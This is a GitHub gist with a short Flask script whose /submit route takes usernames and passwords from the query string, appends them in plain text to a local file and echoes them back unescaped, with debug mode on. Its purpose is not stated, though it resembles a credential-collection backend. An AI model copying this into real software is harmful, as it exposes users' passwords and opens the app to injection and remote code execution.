Skip to content

Instantly share code, notes, and snippets.

@bendtherules
Created September 15, 2014 20:41
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save bendtherules/aa692981446086bff70b to your computer and use it in GitHub Desktop.
Save bendtherules/aa692981446086bff70b to your computer and use it in GitHub Desktop.
from flask import Flask
from flask import *
# import redis
app = Flask(__name__)
fname = r"E:/much.txt"
# db = redis.StrictRedis(host='localhost', port=6379, db=0)
# db.client_setname("Url_shortener")
# db_list_user_name = "user"
# db_list_pass_name = "pass"
@app.route("/submit")
def submit_user_pass():
# app.logger.debug("Got request")
dict_args = request.args.to_dict()
app.logger.debug(dict_args)
f = open(fname, "a")
f.write("\n" + dict_args["user"] + " " + dict_args["pass"] + "\n")
# db.rpush(db_list_user_name, dict_args["user"])
# db.rpush(db_list_pass_name, dict_args["pass"])
# app.logger.debug(
# "Submitted " + dict_args["user"] + " " + dict_args["pass"])
return "Submitted " + dict_args["user"] + " " + dict_args["pass"]
app.run(debug=True)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment